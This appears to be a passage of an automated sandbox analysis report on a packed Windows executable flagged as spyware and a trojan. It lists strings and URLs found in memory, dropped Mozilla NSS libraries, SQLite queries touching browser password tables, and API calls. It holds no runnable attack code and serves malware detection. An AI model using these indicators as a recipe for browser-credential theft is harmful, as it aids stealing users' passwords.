Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2387548529.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375735830.000000001D3D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000002.2360250459.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, HIEHDAFH.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.2381735405.0000000029495000.00000004.00000020.00020000.00000000.sdmp, JJKFBAKFBGDHIEBGDAKF.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2381735405.0000000029495000.00000004.00000020.00020000.00000000.sdmp, JJKFBAKFBGDHIEBGDAKF.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: file.exe, 00000000.00000002.2360250459.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, HIEHDAFH.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2360250459.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, HIEHDAFH.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2360250459.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, HIEHDAFH.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2381735405.0000000029495000.00000004.00000020.00020000.00000000.sdmp, JJKFBAKFBGDHIEBGDAKF.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2381735405.0000000029495000.00000004.00000020.00020000.00000000.sdmp, JJKFBAKFBGDHIEBGDAKF.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: file.exe, 00000000.00000002.2360250459.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, HIEHDAFH.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000002.2360250459.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, HIEHDAFH.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.2360250459.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, HIEHDAFH.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: JJKFBAKFBGDHIEBGDAKF.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: IJKFHDBKFCAAECBFIDHJECBKEB.0.dr	String found in binary or memory: https://support.mozilla.org
Source: IJKFHDBKFCAAECBFIDHJECBKEB.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: IJKFHDBKFCAAECBFIDHJECBKEB.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: file.exe, 00000000.00000002.2381735405.0000000029495000.00000004.00000020.00020000.00000000.sdmp, JJKFBAKFBGDHIEBGDAKF.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2381735405.0000000029495000.00000004.00000020.00020000.00000000.sdmp, JJKFBAKFBGDHIEBGDAKF.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2360250459.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, HIEHDAFH.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000002.2360250459.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, HIEHDAFH.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: IJKFHDBKFCAAECBFIDHJECBKEB.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: IJKFHDBKFCAAECBFIDHJECBKEB.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: IJKFHDBKFCAAECBFIDHJECBKEB.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2308583528.000000002F663000.00000004.00000020.00020000.00000000.sdmp, IJKFHDBKFCAAECBFIDHJECBKEB.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: file.exe, 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: IJKFHDBKFCAAECBFIDHJECBKEB.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2308583528.000000002F663000.00000004.00000020.00020000.00000000.sdmp, IJKFHDBKFCAAECBFIDHJECBKEB.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2308583528.000000002F663000.00000004.00000020.00020000.00000000.sdmp, IJKFHDBKFCAAECBFIDHJECBKEB.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C6BB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C6BB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C6BB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C65F280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006EE839	0_2_006EE839
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006DF8EE	0_2_006DF8EE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007738D2	0_2_007738D2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006F39F7	0_2_006F39F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006E626D	0_2_006E626D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005AFA5D	0_2_005AFA5D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B4250	0_2_005B4250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006E1B61	0_2_006E1B61
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006684AC	0_2_006684AC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0066DD78	0_2_0066DD78
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006F5502	0_2_006F5502
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006ECDE9	0_2_006ECDE9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006DDDC8	0_2_006DDDC8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006E971D	0_2_006E971D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006E47F0	0_2_006E47F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006F1FAB	0_2_006F1FAB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005E8787	0_2_005E8787
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6535A0	0_2_6C6535A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C665440	0_2_6C665440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C545C	0_2_6C6C545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C542B	0_2_6C6C542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CAC00	0_2_6C6CAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695C10	0_2_6C695C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2C10	0_2_6C6A2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65D4E0	0_2_6C65D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C696CF0	0_2_6C696CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6664C0	0_2_6C6664C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67D4D0	0_2_6C67D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B34A0	0_2_6C6B34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BC4A0	0_2_6C6BC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666C80	0_2_6C666C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FD00	0_2_6C66FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67ED10	0_2_6C67ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680512	0_2_6C680512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B85F0	0_2_6C6B85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C690DD0	0_2_6C690DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C6E63	0_2_6C6C6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C670	0_2_6C65C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2E4E	0_2_6C6A2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C674640	0_2_6C674640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C679E50	0_2_6C679E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693E50	0_2_6C693E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B9E30	0_2_6C6B9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A5600	0_2_6C6A5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C697E10	0_2_6C697E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C76E3	0_2_6C6C76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65BEF0	0_2_6C65BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FEF0	0_2_6C66FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B4EA0	0_2_6C6B4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BE680	0_2_6C6BE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C675E90	0_2_6C675E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C669F00	0_2_6C669F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C697710	0_2_6C697710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65DFE0	0_2_6C65DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C686FF0	0_2_6C686FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A77A0	0_2_6C6A77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69F070	0_2_6C69F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C678850	0_2_6C678850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67D850	0_2_6C67D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69B820	0_2_6C69B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A4820	0_2_6C6A4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C667810	0_2_6C667810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67C0E0	0_2_6C67C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6958E0	0_2_6C6958E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C50C7	0_2_6C6C50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6860A0	0_2_6C6860A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66D960	0_2_6C66D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AB970	0_2_6C6AB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CB170	0_2_6C6CB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67A940	0_2_6C67A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C9A0	0_2_6C65C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68D9B0	0_2_6C68D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695190	0_2_6C695190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B2990	0_2_6C6B2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C699A60	0_2_6C699A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C671AF0	0_2_6C671AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69E2F0	0_2_6C69E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C698AC0	0_2_6C698AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6522A0	0_2_6C6522A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C684AA0	0_2_6C684AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66CAB0	0_2_6C66CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C2AB0	0_2_6C6C2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CBA90	0_2_6C6CBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66C370	0_2_6C66C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C655340	0_2_6C655340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69D320	0_2_6C69D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C53C8	0_2_6C6C53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65F380	0_2_6C65F380

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C68CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 003245C0 appears 316 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6994D0 appears 90 times

Source: file.exe, 00000000.00000002.2388706540.000000006C8D5000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: xfniszhi ZLIB complexity 0.9947508271496328

Source: file.exe, 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2086620561.0000000004B60000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/23@1/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C6B7030

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00339600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00339600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00333720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00333720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\VV9C9P5K.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2387412987.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375735830.000000001D3D6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2388576619.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2387412987.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375735830.000000001D3D6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2388576619.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2387412987.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375735830.000000001D3D6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2388576619.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2387412987.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375735830.000000001D3D6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2388576619.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2387412987.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375735830.000000001D3D6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2388576619.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2387412987.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375735830.000000001D3D6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2387412987.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375735830.000000001D3D6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2388576619.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2216020779.000000001D2CB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2201337914.000000001D2D8000.00000004.00000020.00020000.00000000.sdmp, HIIIDAKKJJJKKECAKKJE.0.dr, AAFIDGCFHIEHJJJJECAK.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2387412987.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375735830.000000001D3D6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2387412987.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375735830.000000001D3D6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
